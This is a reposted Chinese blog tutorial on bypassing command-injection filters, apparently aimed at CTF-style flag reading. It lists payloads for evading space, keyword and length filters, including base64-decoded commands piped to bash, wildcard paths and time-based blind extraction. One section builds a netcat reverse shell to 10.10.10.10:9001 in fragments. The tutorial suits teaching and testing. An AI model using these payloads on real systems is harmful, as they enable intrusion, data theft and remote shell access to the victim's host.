命令执行漏洞绕过方法总结

admin 2024年11月22日19:52:49评论11 views字数 1969阅读6分33秒阅读模式

命令执行漏洞绕过方法总结

操作系统管道符

Windows系统管道符

|  :直接执行后面的语句,|前面的命令结果作为后面命令的参数
|| :前面的命令执行成功,则后面的命令不会执行;前面的命令执行失败,则后面的命令执行
&  :前面和后面命令都要执行,无论前面真假。注意:使用的时候要把&进行URL编码为%26才能正常执行cmd=%26cat /flag
&& :如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

linux系统管道符

|、||、&、&&这四种管道符都存在且用法和Windows系统下一样

;作用和&一样,只是不用%26

绕过:

空格绕过

1、${IFS}

${IFS} 是一个环境变量,代表内部字段分隔符(Internal Field Separator)。在大多数情况下,它的默认值是空格、制表符(tab)和换行符

示例:

1、cat${IFS}flag.txt
2、ls${IFS}-la

2、利用大括号

{cat,flag.txt}

3、%09绕过 (php环境)

%09 是一个表示制表符(Tab 键)的 ASCII 码,可以用于空格过滤绕过。

cat%09flag.txt  等同于 cat<Tab>flag.txt

命令执行漏洞绕过方法总结

bin绕过

/tmp/../bin/whoami

命令执行漏洞绕过方法总结

4、重定向

重定向字符 < :用于将文件的内容作为输入提供给命令

示例:

cat  flag.txt

命令执行漏洞绕过方法总结

cat<flag.txt

命令执行漏洞绕过方法总结

**重定向字符 <>**:用于打开文件并同时进行读取和写入

cat<>flag.txt

命令执行漏洞绕过方法总结

bash变量绕过

c=ami;who$_  :$_代表前面一个命令的结果。

命令执行漏洞绕过方法总结

黑名单绕过

1、base64编码

将 cat flag 进行编码

命令执行漏洞绕过方法总结

管道符|把前面指令执行的结果,变成后面指令的参数

`echo "Y2F0IGZsYWc="|base64 -d`
 $(echo Y2F0IGZsYWc= | base64 -d)
echo Y2F0IGZsYWc= | base64 -d | bash

命令执行漏洞绕过方法总结

同理base32编码也可

2、拼接

利用变量$

a=c; b=at; c=fl; d=ag; $a$b $c$d
$a$b 最终会被替换为 cat,而 $c$d 最终会被替换为 flag

命令执行漏洞绕过方法总结

3、反斜杠

cat flag 

命令执行漏洞绕过方法总结

4、单 双引号

c""at fl''ag
"ca"'t'"" 'fl'"ag"

命令执行漏洞绕过方法总结

读取文件命令绕过

常见的将cat进行过滤

1、将cat进行编码
2、tac:反向显示,从最后一行开始往前显示

命令执行漏洞绕过方法总结

3、more:一页一页显示档案内容
less:与more类似

命令执行漏洞绕过方法总结

4、tail 查看末尾几行

命令执行漏洞绕过方法总结

5、nl 显示的时候,顺便输出行号

命令执行漏洞绕过方法总结

6、od :以二进制方式读取档案内容
    -A d:指定输出地址的格式为十进制。
    -c:以字符形式输出内容。

命令执行漏洞绕过方法总结

7、sort:主要用于排序文件 

命令执行漏洞绕过方法总结

8、uniq :报告或删除文件中重复的行也可以查看

命令执行漏洞绕过方法总结

9、file -f:报错出具体内容

命令执行漏洞绕过方法总结

10、strings :相当于cat

命令执行漏洞绕过方法总结

10、使用编辑器 vi  vim  nano也可查看

通配符绕过

/???/?[a][t] ?''?''?''?''
/???/?at flag
/???/?at ????
/???/?[a]''[t] ?''?''?''?'' 

命令执行漏洞绕过方法总结

长度绕过

1、Linux中的>符号和>>符号

通过>创建文件,并将命令执行结果写入文件会覆盖掉文件原本的内容

命令执行漏洞绕过方法总结

>>用来追加文件内容

命令执行漏洞绕过方法总结

运用

echo "ca\">cmd :创建文件,并写入内容
echo "t\">>cmd :追加文件内容
echo " fl\">>cmd :追加
echo "ag">>cmd :追加
cat cmd
sh cmd :sh命令是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取

命令执行漏洞绕过方法总结

2、利用ls-t和>绕过

ls -t命令:按时间顺序,后创建的排在前面,由近及远排序。
#>"ag"
#>" fl\"
#>"t\"
#>"ca\"
#ls -t 
#ls -t > zian
#sh zian

命令执行漏洞绕过方法总结

命令执行漏洞绕过方法总结

3、绕过长度限制反弹shell命令

执行shell为

nc 10.10.10.10 9001
#>9001
#> \
#>>10\
#>10.\
#>10.\
#>10.\
#>c \
#>n\
#ls -t > zian
#sh zian

攻击机监听即可

无回显时间盲注

1、sleep

sleep 5 理解SQL延时注入

2、cut -c和awk利用

cat flag | awk NR==1  | cut -c 1      #获取结果为第1行的第一个字符
cat flag | awk NR==2  | cut -c 2      #获取结果为第2行第二个字符

命令执行漏洞绕过方法总结

3、if语句:判断命令是否执行

if [ $(cat flag | awk NR==1 | cut -c 2) == i ];then sleep 2;fi

命令执行漏洞绕过方法总结

原文始发于微信公众号(红队蓝军):命令执行漏洞绕过方法总结

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月22日19:52:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令执行漏洞绕过方法总结https://cn-sec.com/archives/3426223.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息